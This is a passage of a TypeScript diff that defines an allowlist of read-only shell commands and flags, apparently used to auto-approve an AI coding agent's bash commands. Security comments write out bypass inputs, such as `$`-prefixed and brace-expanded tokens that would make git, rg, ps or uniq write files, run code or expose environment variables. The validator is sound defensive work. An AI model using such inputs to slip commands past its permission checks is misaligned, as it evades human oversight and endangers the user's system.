+ '-f': 'none', // --fqdn - display FQDN
803
+ '--fqdn': 'none',
804
+ '--long': 'none',
805
+ '-s': 'none', // --short - display short name
806
+ '--short': 'none',
807
+ '-i': 'none', // --ip-address
808
+ '--ip-address': 'none',
809
+ '-I': 'none', // --all-ip-addresses
810
+ '--all-ip-addresses': 'none',
811
+ '-a': 'none', // --alias
812
+ '--alias': 'none',
813
+ '-d': 'none', // --domain
814
+ '--domain': 'none',
815
+ '-A': 'none', // --all-fqdns
816
+ '--all-fqdns': 'none',
817
+ '-v': 'none', // --verbose
818
+ '--verbose': 'none',
819
+ '-h': 'none', // --help
820
+ '--help': 'none',
821
+ '-V': 'none', // --version
822
+ '--version': 'none',
823
+ },
824
+ // CRITICAL: Block any positional arguments - they set the hostname
825
+ // Also block -F/--file, -b/--boot, -y/--yp/--nis (not in safeFlags = blocked)
826
+ // Use regex to ensure no positional args after flags
827
+ regex: /^hostname(?:\s+(?:-[a-zA-Z]|--[a-zA-Z-]+))*\s*$/,
828
+ },
829
+ // info command - moved from READONLY_COMMANDS because -o/--output writes to files
830
+ // Also --dribble writes keystrokes to file, --init-file loads custom config
831
+ // We only allow safe display/navigation options
832
+ info: {
833
+ safeFlags: {
834
+ // Navigation/display options (safe)
835
+ '-f': 'string', // --file - specify manual file to read
836
+ '--file': 'string',
837
+ '-d': 'string', // --directory - search path
838
+ '--directory': 'string',
839
+ '-n': 'string', // --node - specify node
840
+ '--node': 'string',
841
+ '-a': 'none', // --all
842
+ '--all': 'none',
843
+ '-k': 'string', // --apropos - search
844
+ '--apropos': 'string',
845
+ '-w': 'none', // --where - show location
846
+ '--where': 'none',
847
+ '--location': 'none',
848
+ '--show-options': 'none',
849
+ '--vi-keys': 'none',
850
+ '--subnodes': 'none',
851
+ '-h': 'none',
852
+ '--help': 'none',
853
+ '--usage': 'none',
854
+ '--version': 'none',
855
+ },
856
+ // Dangerous flags NOT included (blocked by omission):
857
+ // -o / --output - writes output to file
858
+ // --dribble - records keystrokes to file
859
+ // --init-file - loads custom config (potential code execution)
860
+ // --restore - replays keystrokes from file
861
+ },
862
+
863
+ lsof: {
864
+ safeFlags: {
865
+ '-?': 'none',
866
+ '-h': 'none',
867
+ '-v': 'none',
868
+ '-a': 'none',
869
+ '-b': 'none',
870
+ '-C': 'none',
871
+ '-l': 'none',
872
+ '-n': 'none',
873
+ '-N': 'none',
874
+ '-O': 'none',
875
+ '-P': 'none',
876
+ '-Q': 'none',
877
+ '-R': 'none',
878
+ '-t': 'none',
879
+ '-U': 'none',
880
+ '-V': 'none',
881
+ '-X': 'none',
882
+ '-H': 'none',
883
+ '-E': 'none',
884
+ '-F': 'none',
885
+ '-g': 'none',
886
+ '-i': 'none',
887
+ '-K': 'none',
888
+ '-L': 'none',
889
+ '-o': 'none',
890
+ '-r': 'none',
891
+ '-s': 'none',
892
+ '-S': 'none',
893
+ '-T': 'none',
894
+ '-x': 'none',
895
+ '-A': 'string',
896
+ '-c': 'string',
897
+ '-d': 'string',
898
+ '-e': 'string',
899
+ '-k': 'string',
900
+ '-p': 'string',
901
+ '-u': 'string',
902
+ // OMITTED (writes to disk): -D (device cache file build/update)
903
+ },
904
+ // Block +m (create mount supplement file) — writes to disk.
905
+ // +prefix flags are treated as positional args by validateFlags,
906
+ // so we must catch them here. lsof accepts +m<path> (attached path, no space)
907
+ // with both absolute (+m/tmp/evil) and relative (+mfoo, +m.evil) paths.
908
+ additionalCommandIsDangerousCallback: (_rawCommand, args) =>
909
+ args.some(a => a === '+m' || a.startsWith('+m')),
910
+ },
911
+
912
+ pgrep: {
913
+ safeFlags: {
914
+ '-d': 'string',
915
+ '--delimiter': 'string',
916
+ '-l': 'none',
917
+ '--list-name': 'none',
918
+ '-a': 'none',
919
+ '--list-full': 'none',
920
+ '-v': 'none',
921
+ '--inverse': 'none',
922
+ '-w': 'none',
923
+ '--lightweight': 'none',
924
+ '-c': 'none',
925
+ '--count': 'none',
926
+ '-f': 'none',
927
+ '--full': 'none',
928
+ '-g': 'string',
929
+ '--pgroup': 'string',
930
+ '-G': 'string',
931
+ '--group': 'string',
932
+ '-i': 'none',
933
+ '--ignore-case': 'none',
934
+ '-n': 'none',
935
+ '--newest': 'none',
936
+ '-o': 'none',
937
+ '--oldest': 'none',
938
+ '-O': 'string',
939
+ '--older': 'string',
940
+ '-P': 'string',
941
+ '--parent': 'string',
942
+ '-s': 'string',
943
+ '--session': 'string',
944
+ '-t': 'string',
945
+ '--terminal': 'string',
946
+ '-u': 'string',
947
+ '--euid': 'string',
948
+ '-U': 'string',
949
+ '--uid': 'string',
950
+ '-x': 'none',
951
+ '--exact': 'none',
952
+ '-F': 'string',
953
+ '--pidfile': 'string',
954
+ '-L': 'none',
955
+ '--logpidfile': 'none',
956
+ '-r': 'string',
957
+ '--runstates': 'string',
958
+ '--ns': 'string',
959
+ '--nslist': 'string',
960
+ '--help': 'none',
961
+ '-V': 'none',
962
+ '--version': 'none',
963
+ },
964
+ },
965
+
966
+ tput: {
967
+ safeFlags: {
968
+ '-T': 'string',
969
+ '-V': 'none',
970
+ '-x': 'none',
971
+ // SECURITY: -S (read capability names from stdin) deliberately EXCLUDED.
972
+ // It must NOT be in safeFlags because validateFlags unbundles combined
973
+ // short flags (e.g., -xS → -x + -S), but the callback receives the raw
974
+ // token '-xS' and only checks exact match 'token === "-S"'. Excluding -S
975
+ // from safeFlags ensures validateFlags rejects it (bundled or not) before
976
+ // the callback runs. The callback's -S check is defense-in-depth.
977
+ },
978
+ additionalCommandIsDangerousCallback: (
979
+ _rawCommand: string,
980
+ args: string[],
981
+ ) => {
982
+ // Capabilities that modify terminal state or could be harmful.
983
+ // init/reset run iprog (arbitrary code from terminfo) and modify tty settings.
984
+ // rs1/rs2/rs3/is1/is2/is3 are the individual reset/init sequences that
985
+ // init/reset invoke internally — rs1 sends ESC c (full terminal reset).
986
+ // clear erases scrollback (evidence destruction). mc5/mc5p activate media copy
987
+ // (redirect output to printer device). smcup/rmcup manipulate screen buffer.
988
+ // pfkey/pfloc/pfx/pfxl program function keys — pfloc executes strings locally.
989
+ // rf is reset file (analogous to if/init_file).
990
+ const DANGEROUS_CAPABILITIES = new Set([
991
+ 'init',
992
+ 'reset',
993
+ 'rs1',
994
+ 'rs2',
995
+ 'rs3',
996
+ 'is1',
997
+ 'is2',
998
+ 'is3',
999
+ 'iprog',
1000
+ 'if',
1001
+ 'rf',
1002
+ 'clear',
1003
+ 'flash',
1004
+ 'mc0',
1005
+ 'mc4',
1006
+ 'mc5',
1007
+ 'mc5i',
1008
+ 'mc5p',
1009
+ 'pfkey',
1010
+ 'pfloc',
1011
+ 'pfx',
1012
+ 'pfxl',
1013
+ 'smcup',
1014
+ 'rmcup',
1015
+ ])
1016
+ const flagsWithArgs = new Set(['-T'])
1017
+ let i = 0
1018
+ let afterDoubleDash = false
1019
+ while (i < args.length) {
1020
+ const token = args[i]!
1021
+ if (token === '--') {
1022
+ afterDoubleDash = true
1023
+ i++
1024
+ } else if (!afterDoubleDash && token.startsWith('-')) {
1025
+ // Defense-in-depth: block -S even if it somehow passes validateFlags
1026
+ if (token === '-S') return true
1027
+ // Also check for -S bundled with other flags (e.g., -xS)
1028
+ if (
1029
+ !token.startsWith('--') &&
1030
+ token.length > 2 &&
1031
+ token.includes('S')
1032
+ )
1033
+ return true
1034
+ if (flagsWithArgs.has(token)) {
1035
+ i += 2
1036
+ } else {
1037
+ i++
1038
+ }
1039
+ } else {
1040
+ if (DANGEROUS_CAPABILITIES.has(token)) return true
1041
+ i++
1042
+ }
1043
+ }
1044
+ return false
1045
+ },
1046
+ },
1047
+
1048
+ // ss — socket statistics (iproute2). Read-only query tool equivalent to netstat.
1049
+ // SECURITY: -K/--kill (forcibly close sockets) and -D/--diag (dump raw data to file)
1050
+ // are deliberately excluded. -F/--filter (read filter from file) also excluded.
1051
+ ss: {
1052
+ safeFlags: {
1053
+ '-h': 'none',
1054
+ '--help': 'none',
1055
+ '-V': 'none',
1056
+ '--version': 'none',
1057
+ '-n': 'none',
1058
+ '--numeric': 'none',
1059
+ '-r': 'none',
1060
+ '--resolve': 'none',
1061
+ '-a': 'none',
1062
+ '--all': 'none',
1063
+ '-l': 'none',
1064
+ '--listening': 'none',
1065
+ '-o': 'none',
1066
+ '--options': 'none',
1067
+ '-e': 'none',
1068
+ '--extended': 'none',
1069
+ '-m': 'none',
1070
+ '--memory': 'none',
1071
+ '-p': 'none',
1072
+ '--processes': 'none',
1073
+ '-i': 'none',
1074
+ '--info': 'none',
1075
+ '-s': 'none',
1076
+ '--summary': 'none',
1077
+ '-4': 'none',
1078
+ '--ipv4': 'none',
1079
+ '-6': 'none',
1080
+ '--ipv6': 'none',
1081
+ '-0': 'none',
1082
+ '--packet': 'none',
1083
+ '-t': 'none',
1084
+ '--tcp': 'none',
1085
+ '-M': 'none',
1086
+ '--mptcp': 'none',
1087
+ '-S': 'none',
1088
+ '--sctp': 'none',
1089
+ '-u': 'none',
1090
+ '--udp': 'none',
1091
+ '-d': 'none',
1092
+ '--dccp': 'none',
1093
+ '-w': 'none',
1094
+ '--raw': 'none',
1095
+ '-x': 'none',
1096
+ '--unix': 'none',
1097
+ '--tipc': 'none',
1098
+ '--vsock': 'none',
1099
+ '-f': 'string',
1100
+ '--family': 'string',
1101
+ '-A': 'string',
1102
+ '--query': 'string',
1103
+ '--socket': 'string',
1104
+ '-Z': 'none',
1105
+ '--context': 'none',
1106
+ '-z': 'none',
1107
+ '--contexts': 'none',
1108
+ // SECURITY: -N/--net EXCLUDED — performs setns(), unshare(), mount(), umount()
1109
+ // to switch network namespace. While isolated to forked process, too invasive.
1110
+ '-b': 'none',
1111
+ '--bpf': 'none',
1112
+ '-E': 'none',
1113
+ '--events': 'none',
1114
+ '-H': 'none',
1115
+ '--no-header': 'none',
1116
+ '-O': 'none',
1117
+ '--oneline': 'none',
1118
+ '--tipcinfo': 'none',
1119
+ '--tos': 'none',
1120
+ '--cgroup': 'none',
1121
+ '--inet-sockopt': 'none',
1122
+ // SECURITY: -K/--kill EXCLUDED — forcibly closes sockets
1123
+ // SECURITY: -D/--diag EXCLUDED — dumps raw TCP data to a file
1124
+ // SECURITY: -F/--filter EXCLUDED — reads filter expressions from a file
1125
+ },
1126
+ },
1127
+
1128
+ // fd/fdfind — fast file finder (fd-find). Read-only search tool.
1129
+ // SECURITY: -x/--exec (execute command per result) and -X/--exec-batch
1130
+ // (execute command with all results) are deliberately excluded.
1131
+ fd: { safeFlags: { ...FD_SAFE_FLAGS } },
1132
+ // fdfind is the Debian/Ubuntu package name for fd — same binary, same flags
1133
+ fdfind: { safeFlags: { ...FD_SAFE_FLAGS } },
1134
+
1135
+ ...PYRIGHT_READ_ONLY_COMMANDS,
1136
+ ...DOCKER_READ_ONLY_COMMANDS,
1137
+ }
1138
+
1139
+ // gh commands are ant-only since they make network requests, which goes against
1140
+ // the read-only validation principle of no network access
1141
+ const ANT_ONLY_COMMAND_ALLOWLIST: Record<string, CommandConfig> = {
1142
+ // All gh read-only commands from shared validation map
1143
+ ...GH_READ_ONLY_COMMANDS,
1144
+ // aki — Anthropic internal knowledge-base search CLI.
1145
+ // Network read-only (same policy as gh). --audit-csv omitted: writes to disk.
1146
+ aki: {
1147
+ safeFlags: {
1148
+ '-h': 'none',
1149
+ '--help': 'none',
1150
+ '-k': 'none',
1151
+ '--keyword': 'none',
1152
+ '-s': 'none',
1153
+ '--semantic': 'none',
1154
+ '--no-adaptive': 'none',
1155
+ '-n': 'number',
1156
+ '--limit': 'number',
1157
+ '-o': 'number',
1158
+ '--offset': 'number',
1159
+ '--source': 'string',
1160
+ '--exclude-source': 'string',
1161
+ '-a': 'string',
1162
+ '--after': 'string',
1163
+ '-b': 'string',
1164
+ '--before': 'string',
1165
+ '--collection': 'string',
1166
+ '--drive': 'string',
1167
+ '--folder': 'string',
1168
+ '--descendants': 'none',
1169
+ '-m': 'string',
1170
+ '--meta': 'string',
1171
+ '-t': 'string',
1172
+ '--threshold': 'string',
1173
+ '--kw-weight': 'string',
1174
+ '--sem-weight': 'string',
1175
+ '-j': 'none',
1176
+ '--json': 'none',
1177
+ '-c': 'none',
1178
+ '--chunk': 'none',
1179
+ '--preview': 'none',
1180
+ '-d': 'none',
1181
+ '--full-doc': 'none',
1182
+ '-v': 'none',
1183
+ '--verbose': 'none',
1184
+ '--stats': 'none',
1185
+ '-S': 'number',
1186
+ '--summarize': 'number',
1187
+ '--explain': 'none',
1188
+ '--examine': 'string',
1189
+ '--url': 'string',
1190
+ '--multi-turn': 'number',
1191
+ '--multi-turn-model': 'string',
1192
+ '--multi-turn-context': 'string',
1193
+ '--no-rerank': 'none',
1194
+ '--audit': 'none',
1195
+ '--local': 'none',
1196
+ '--staging': 'none',
1197
+ },
1198
+ },
1199
+ }
1200
+
1201
+ function getCommandAllowlist(): Record<string, CommandConfig> {
1202
+ let allowlist: Record<string, CommandConfig> = COMMAND_ALLOWLIST
1203
+ // On Windows, xargs can be used as a data-to-code bridge: if a file contains
1204
+ // a UNC path, `cat file | xargs cat` feeds that path to cat, triggering SMB
1205
+ // resolution. Since the UNC path is in file contents (not the command string),
1206
+ // regex-based detection cannot catch this.
1207
+ if (getPlatform() === 'windows') {
1208
+ const { xargs: _, ...rest } = allowlist
1209
+ allowlist = rest
1210
+ }
1211
+ if (process.env.USER_TYPE === 'ant') {
1212
+ return { ...allowlist, ...ANT_ONLY_COMMAND_ALLOWLIST }
1213
+ }
1214
+ return allowlist
1215
+ }
1216
+
1217
+ /**
1218
+ * Commands that are safe to use as xargs targets for auto-approval.
1219
+ *
1220
+ * SECURITY: Only add a command to this list if it has NO flags that can:
1221
+ * 1. Write to files (e.g., find's -fprint, sed's -i)
1222
+ * 2. Execute code (e.g., find's -exec, awk's system(), perl's -e)
1223
+ * 3. Make network requests
1224
+ *
1225
+ * These commands must be purely read-only utilities. When xargs uses one of
1226
+ * these as a target, we stop validating flags after the target command
1227
+ * (see the `break` in isCommandSafeViaFlagParsing), so the command itself
1228
+ * must not have ANY dangerous flags, not just a safe subset.
1229
+ *
1230
+ * Each command was verified by checking its man page for dangerous capabilities.
1231
+ */
1232
+ const SAFE_TARGET_COMMANDS_FOR_XARGS = [
1233
+ 'echo', // Output only, no dangerous flags
1234
+ 'printf', // xargs runs /usr/bin/printf (binary), not bash builtin — no -v support
1235
+ 'wc', // Read-only counting, no dangerous flags
1236
+ 'grep', // Read-only search, no dangerous flags
1237
+ 'head', // Read-only, no dangerous flags
1238
+ 'tail', // Read-only (including -f follow), no dangerous flags
1239
+ ]
1240
+
1241
+ /**
1242
+ * Unified command validation function that replaces individual validator functions.
1243
+ * Uses declarative configuration from COMMAND_ALLOWLIST to validate commands and their flags.
1244
+ * Handles combined flags, argument validation, and shell quoting bypass detection.
1245
+ */
1246
+ export function isCommandSafeViaFlagParsing(command: string): boolean {
1247
+ // Parse the command to get individual tokens using shell-quote for accuracy
1248
+ // Handle glob operators by converting them to strings, they don't matter from the perspective
1249
+ // of this function
1250
+ const parseResult = tryParseShellCommand(command, env => `$${env}`)
1251
+ if (!parseResult.success) return false
1252
+
1253
+ const parsed = parseResult.tokens.map(token => {
1254
+ if (typeof token !== 'string') {
1255
+ token = token as { op: 'glob'; pattern: string }
1256
+ if (token.op === 'glob') {
1257
+ return token.pattern
1258
+ }
1259
+ }
1260
+ return token
1261
+ })
1262
+
1263
+ // If there are operators (pipes, redirects, etc.), it's not a simple command.
1264
+ // Breaking commands down into their constituent parts is handled upstream of
1265
+ // this function, so we reject anything with operators here.
1266
+ const hasOperators = parsed.some(token => typeof token !== 'string')
1267
+ if (hasOperators) {
1268
+ return false
1269
+ }
1270
+
1271
+ // Now we know all tokens are strings
1272
+ const tokens = parsed as string[]
1273
+
1274
+ if (tokens.length === 0) {
1275
+ return false
1276
+ }
1277
+
1278
+ // Find matching command configuration
1279
+ let commandConfig: CommandConfig | undefined
1280
+ let commandTokens: number = 0
1281
+
1282
+ // Check for multi-word commands first (e.g., "git diff", "git stash list")
1283
+ const allowlist = getCommandAllowlist()
1284
+ for (const [cmdPattern] of Object.entries(allowlist)) {
1285
+ const cmdTokens = cmdPattern.split(' ')
1286
+ if (tokens.length >= cmdTokens.length) {
1287
+ let matches = true
1288
+ for (let i = 0; i < cmdTokens.length; i++) {
1289
+ if (tokens[i] !== cmdTokens[i]) {
1290
+ matches = false
1291
+ break
1292
+ }
1293
+ }
1294
+ if (matches) {
1295
+ commandConfig = allowlist[cmdPattern]
1296
+ commandTokens = cmdTokens.length
1297
+ break
1298
+ }
1299
+ }
1300
+ }
1301
+
1302
+ if (!commandConfig) {
1303
+ return false // Command not in allowlist
1304
+ }
1305
+
1306
+ // Special handling for git ls-remote to reject URLs that could lead to data exfiltration
1307
+ if (tokens[0] === 'git' && tokens[1] === 'ls-remote') {
1308
+ // Check if any argument looks like a URL or remote specification
1309
+ for (let i = 2; i < tokens.length; i++) {
1310
+ const token = tokens[i]
1311
+ if (token && !token.startsWith('-')) {
1312
+ // Reject HTTP/HTTPS URLs
1313
+ if (token.includes('://')) {
1314
+ return false
1315
+ }
1316
+ // Reject SSH URLs like git@github.com:user/repo.git
1317
+ if (token.includes('@') || token.includes(':')) {
1318
+ return false
1319
+ }
1320
+ // Reject variable references
1321
+ if (token.includes('$')) {
1322
+ return false
1323
+ }
1324
+ }
1325
+ }
1326
+ }
1327
+
1328
+ // SECURITY: Reject ANY token containing `$` (variable expansion). The
1329
+ // `env => \`$${env}\`` callback at line 825 preserves `$VAR` as LITERAL TEXT
1330
+ // in tokens, but bash expands it at runtime (unset vars → empty string).
1331
+ // This parser differential defeats BOTH validateFlags and callbacks:
1332
+ //
1333
+ // (1) `$VAR`-prefix defeats validateFlags `startsWith('-')` check:
1334
+ // `git diff "$Z--output=/tmp/pwned"` → token `$Z--output=/tmp/pwned`
1335
+ // (starts with `$`) falls through as positional at ~:1730. Bash runs
1336
+ // `git diff --output=/tmp/pwned`. ARBITRARY FILE WRITE, zero perms.
1337
+ //
1338
+ // (2) `$VAR`-prefix → RCE via `rg --pre`:
1339
+ // `rg . "$Z--pre=bash" FILE` → executes `bash FILE`. rg's config has
1340
+ // no regex and no callback. SINGLE-STEP ARBITRARY CODE EXECUTION.
1341
+ //
1342
+ // (3) `$VAR`-infix defeats additionalCommandIsDangerousCallback regex:
1343
+ // `ps ax"$Z"e` → token `ax$Ze`. The ps callback regex
1344
+ // `/^[a-zA-Z]*e[a-zA-Z]*$/` fails on `$` → "not dangerous". Bash runs
1345
+ // `ps axe` → env vars for all processes. A fix limited to `$`-PREFIXED
1346
+ // tokens would NOT close this.
1347
+ //
1348
+ // We check ALL tokens after the command prefix. Any `$` means we cannot
1349
+ // determine the runtime token value, so we cannot verify read-only safety.
1350
+ // This check must run BEFORE validateFlags and BEFORE callbacks.
1351
+ for (let i = commandTokens; i < tokens.length; i++) {
1352
+ const token = tokens[i]
1353
+ if (!token) continue
1354
+ // Reject any token containing $ (variable expansion)
1355
+ if (token.includes('$')) {
1356
+ return false
1357
+ }
1358
+ // Reject tokens with BOTH `{` and `,` (brace expansion obfuscation).
1359
+ // `git diff {@'{'0},--output=/tmp/pwned}` → shell-quote strips quotes
1360
+ // → token `{@{0},--output=/tmp/pwned}` has `{` + `,` → brace expansion.
1361
+ // This is defense-in-depth with validateBraceExpansion in bashSecurity.ts.
1362
+ // We require BOTH `{` and `,` to avoid false positives on legitimate
1363
+ // patterns: `stash@{0}` (git ref, has `{` no `,`), `{{.State}}` (Go
1364
+ // template, no `,`), `prefix-{}-suffix` (xargs, no `,`). Sequence form
1365
+ // `{1..5}` also needs checking (has `{` + `..`).
1366
+ if (token.includes('{') && (token.includes(',') || token.includes('..'))) {
1367
+ return false
1368
+ }
1369
+ }
1370
+
1371
+ // Validate flags starting after the command tokens
1372
+ if (
1373
+ !validateFlags(tokens, commandTokens, commandConfig, {
1374
+ commandName: tokens[0],
1375
+ rawCommand: command,
1376
+ xargsTargetCommands:
1377
+ tokens[0] === 'xargs' ? SAFE_TARGET_COMMANDS_FOR_XARGS : undefined,
1378
+ })
1379
+ ) {
1380
+ return false
1381
+ }
1382
+
1383
+ if (commandConfig.regex && !commandConfig.regex.test(command)) {
1384
+ return false
1385
+ }
1386
+ if (!commandConfig.regex && /`/.test(command)) {
1387
+ return false
1388
+ }
1389
+ // Block newlines and carriage returns in grep/rg patterns as they can be used for injection
1390
+ if (
1391
+ !commandConfig.regex &&
1392
+ (tokens[0] === 'rg' || tokens[0] === 'grep') &&
1393
+ /[\n\r]/.test(command)
1394
+ ) {
1395
+ return false
1396
+ }
1397
+ if (
1398
+ commandConfig.additionalCommandIsDangerousCallback &&
1399
+ commandConfig.additionalCommandIsDangerousCallback(
1400
+ command,
1401
+ tokens.slice(commandTokens),
1402
+ )
1403
+ ) {
1404
+ return false
1405
+ }
1406
+
1407
+ return true
1408
+ }
1409
+
1410
+ /**
1411
+ * Creates a regex pattern that matches safe invocations of a command.
1412
+ *
1413
+ * The regex ensures commands are invoked safely by blocking:
1414
+ * - Shell metacharacters that could lead to command injection or redirection
1415
+ * - Command substitution via backticks or $()
1416
+ * - Variable expansion that could contain malicious payloads
1417
+ * - Environment variable assignment bypasses (command=value)
1418
+ *
1419
+ * @param command The command name (e.g., 'date', 'npm list', 'ip addr')
1420
+ * @returns RegExp that matches safe invocations of the command
1421
+ */
1422
+ function makeRegexForSafeCommand(command: string): RegExp {
1423
+ // Create regex pattern: /^command(?:\s|$)[^<>()$`|{}&;\n\r]*$/
1424
+ return new RegExp(`^${command}(?:\\s|$)[^<>()$\`|{}&;\\n\\r]*$`)
1425
+ }
1426
+
1427
+ // Simple commands that are safe for execution (converted to regex patterns using makeRegexForSafeCommand)
1428
+ // WARNING: If you are adding new commands here, be very careful to ensure
1429
+ // they are truly safe. This includes ensuring:
1430
+ // 1. That they don't have any flags that allow file writing or command execution
1431
+ // 2. Use makeRegexForSafeCommand() to ensure proper regex pattern creation
1432
+ const READONLY_COMMANDS = [
1433
+ // Cross-platform commands from shared validation
1434
+ ...EXTERNAL_READONLY_COMMANDS,
1435
+
1436
+ // Unix/bash-specific read-only commands (not shared because they don't exist in PowerShell)
1437
+
1438
+ // Time and date
1439
+ 'cal',
1440
+ 'uptime',
1441
+
1442
+ // File content viewing (relative paths handled separately)
1443
+ 'cat',
1444
+ 'head',
1445
+ 'tail',
1446
+ 'wc',
1447
+ 'stat',
1448
+ 'strings',
1449
+ 'hexdump',
1450
+ 'od',
1451
+ 'nl',
1452
+
1453
+ // System info
1454
+ 'id',
1455
+ 'uname',
1456
+ 'free',
1457
+ 'df',
1458
+ 'du',
1459
+ 'locale',
1460
+ 'groups',
1461
+ 'nproc',
1462
+
1463
+ // Path information
1464
+ 'basename',
1465
+ 'dirname',
1466
+ 'realpath',
1467
+
1468
+ // Text processing
1469
+ 'cut',
1470
+ 'paste',
1471
+ 'tr',
1472
+ 'column',
1473
+ 'tac', // Reverse cat — displays file contents in reverse line order
1474
+ 'rev', // Reverse characters in each line
1475
+ 'fold', // Wrap lines to specified width
1476
+ 'expand', // Convert tabs to spaces
1477
+ 'unexpand', // Convert spaces to tabs
1478
+ 'fmt', // Simple text formatter — output to stdout only
1479
+ 'comm', // Compare sorted files line by line
1480
+ 'cmp', // Byte-by-byte file comparison
1481
+ 'numfmt', // Number format conversion
1482
+
1483
+ // Path information (additional)
1484
+ 'readlink', // Resolve symlinks — displays target of symbolic link
1485
+
1486
+ // File comparison
1487
+ 'diff',
1488
+
1489
+ // true and false, used to silence or create errors
1490
+ 'true',
1491
+ 'false',
1492
+
1493
+ // Misc. safe commands
1494
+ 'sleep',
1495
+ 'which',
1496
+ 'type',
1497
+ 'expr', // Evaluate expressions (arithmetic, string matching)
1498
+ 'test', // Conditional evaluation (file checks, comparisons)
1499
+ 'getconf', // Get system configuration values
1500
+ 'seq', // Generate number sequences
1501
+ 'tsort', // Topological sort
1502
+ 'pr', // Paginate files for printing
1503
+ ]
1504
+
1505
+ // Complex commands that require custom regex patterns
1506
+ // Warning: If possible, avoid adding new regexes here and prefer using COMMAND_ALLOWLIST
1507
+ // instead. This allowlist-based approach to CLI flags is more secure and avoids
1508
+ // vulns coming from gnu getopt_long.
1509
+ const READONLY_COMMAND_REGEXES = new Set([
1510
+ // Convert simple commands to regex patterns using makeRegexForSafeCommand
1511
+ ...READONLY_COMMANDS.map(makeRegexForSafeCommand),
1512
+
1513
+ // Echo that doesn't execute commands or use variables
1514
+ // Allow newlines in single quotes (safe) but not in double quotes (could be dangerous with variable expansion)
1515
+ // Also allow optional 2>&1 stderr redirection at the end
1516
+ /^echo(?:\s+(?:'[^']*'|"[^"$<>\n\r]*"|[^|;&`$(){}><#\\!"'\s]+))*(?:\s+2>&1)?\s*$/,
1517
+
1518
+ // Claude CLI help
1519
+ /^claude -h$/,
1520
+ /^claude --help$/,
1521
+
1522
+ // Git readonly commands are now handled via COMMAND_ALLOWLIST with explicit flag validation
1523
+ // (git status, git blame, git ls-files, git config --get, git remote, git tag, git branch)
1524
+
1525
+ /^uniq(?:\s+(?:-[a-zA-Z]+|--[a-zA-Z-]+(?:=\S+)?|-[fsw]\s+\d+))*(?:\s|$)\s*$/, // Only allow flags, no input/output files
1526
+
1527
+ // System info
1528
+ /^pwd$/,
1529
+ /^whoami$/,
1530
+ // env and printenv removed - could expose sensitive environment variables
1531
+
1532
+ // Development tools version checking - exact match only, no suffix allowed.
1533
+ // SECURITY: `node -v --run <task>` would execute package.json scripts because
1534
+ // Node processes --run before -v. Python/python3 --version are also anchored
1535
+ // for defense-in-depth. These were previously in EXTERNAL_READONLY_COMMANDS which
1536
+ // flows through makeRegexForSafeCommand and permits arbitrary suffixes.
1537
+ /^node -v$/,
1538
+ /^node --version$/,
1539
+ /^python --version$/,
1540
+ /^python3 --version$/,
1541
+
1542
+ // Misc. safe commands
1543
+ // tree command moved to COMMAND_ALLOWLIST for proper flag validation (blocks -o/--output)
1544
+ /^history(?:\s+\d+)?\s*$/, // Only allow bare history or history with numeric argument - prevents file writing
1545
+ /^alias$/,
1546
+ /^arch(?:\s+(?:--help|-h))?\s*$/, // Only allow arch with help flags or no arguments
1547
+
1548
+ // Network commands - only allow exact commands with no arguments to prevent network manipulation
1549
+ /^ip addr$/, // Only allow "ip addr" with no additional arguments
1550
+ /^ifconfig(?:\s+[a-zA-Z][a-zA-Z0-9_-]*)?\s*$/, // Allow ifconfig with interface name only (must start with letter)
1551
+
1552
+ // JSON processing with jq - allow with inline filters and file arguments
1553
+ // File arguments are validated separately by pathValidation.ts
1554
+ // Allow pipes and complex expressions within quotes but prevent dangerous flags
1555
+ // Block command substitution - backticks are dangerous even in single quotes for jq
1556
+ // Block -f/--from-file, --rawfile, --slurpfile (read files into jq), --run-tests, -L/--library-path (load executable modules)
1557
+ // Block 'env' builtin and '$ENV' object which can access environment variables (defense in depth)
1558
+ /^jq(?!\s+.*(?:-f\b|--from-file|--rawfile|--slurpfile|--run-tests|-L\b|--library-path|\benv\b|\$ENV\b))(?:\s+(?:-[a-zA-Z]+|--[a-zA-Z-]+(?:=\S+)?))*(?:\s+'[^'`]*'|\s+"[^"`]*"|\s+[^-\s'"][^\s]*)+\s*$/,
1559
+
1560
+ // Path commands (path validation ensures they're allowed)
1561
+ // cd command - allows changing to directories
1562
+ /^cd(?:\s+(?:'[^']*'|"[^"]*"|[^\s;|&`$(){}><#\\]+))?$/,
1563
+ // ls command - allows listing directories
1564
+ /^ls(?:\s+[^<>()$`|{}&;\n\r]*)?$/,
1565
+ // find command - blocks dangerous flags
1566
+ // Allow escaped parentheses \( and \) for grouping, but block unescaped ones
1567
+ // NOTE: \\[()] must come BEFORE the character class to ensure \( is matched as an escaped paren,
1568
+ // not as backslash + paren (which would fail since paren is excluded from the character class)
1569
+ /^find(?:\s+(?:\\[()]|(?!-delete\b|-exec\b|-execdir\b|-ok\b|-okdir\b|-fprint0?\b|-fls\b|-fprintf\b)[^<>()$`|{}&;\n\r\s]|\s)+)?$/,
1570
+ ])
1571
+
1572
+ /**
1573
+ * Checks if a command contains glob characters (?, *, [, ]) or expandable `$`
1574
+ * variables OUTSIDE the quote contexts where bash would treat them as literal.
1575
+ * These could expand to bypass our regex-based security checks.
1576
+ *
1577
+ * Glob examples:
1578
+ * - `python *` could expand to `python --help` if a file named `--help` exists
1579
+ * - `find ./ -?xec` could expand to `find ./ -exec` if such a file exists
1580
+ * Globs are literal inside BOTH single and double quotes.
1581
+ *
1582
+ * Variable expansion examples:
1583
+ * - `uniq --skip-chars=0$_` → `$_` expands to last arg of previous command;
1584
+ * with IFS word splitting, this smuggles positional args past "flags-only"
1585
+ * regexes. `echo " /etc/passwd /tmp/x"; uniq --skip-chars=0$_` → FILE WRITE.
1586
+ * - `cd "$HOME"` → double-quoted `$HOME` expands at runtime.
1587
+ * Variables are literal ONLY inside single quotes; they expand inside double
1588
+ * quotes and unquoted.
1589
+ *
1590
+ * The `$` check guards the READONLY_COMMAND_REGEXES fallback path. The `$`
1591
+ * token check in isCommandSafeViaFlagParsing only covers COMMAND_ALLOWLIST
1592
+ * commands; hand-written regexes like uniq's `\S+` and cd's `"[^"]*"` allow `$`.
1593
+ * Matches `$` followed by `[A-Za-z_@*#?!$0-9-]` covering `$VAR`, `$_`, `$@`,
1594
+ * `$*`, `$#`, `$?`, `$!`, `$$`, `$-`, `$0`-`$9`. Does NOT match `${` or `$(` —
1595
+ * those are caught by COMMAND_SUBSTITUTION_PATTERNS in bashSecurity.ts.
1596
+ *
1597
+ * @param command The command string to check
1598
+ * @returns true if the command contains unquoted glob or expandable `$`
1599
+ */
1600
+ function containsUnquotedExpansion(command: string): boolean {
1601
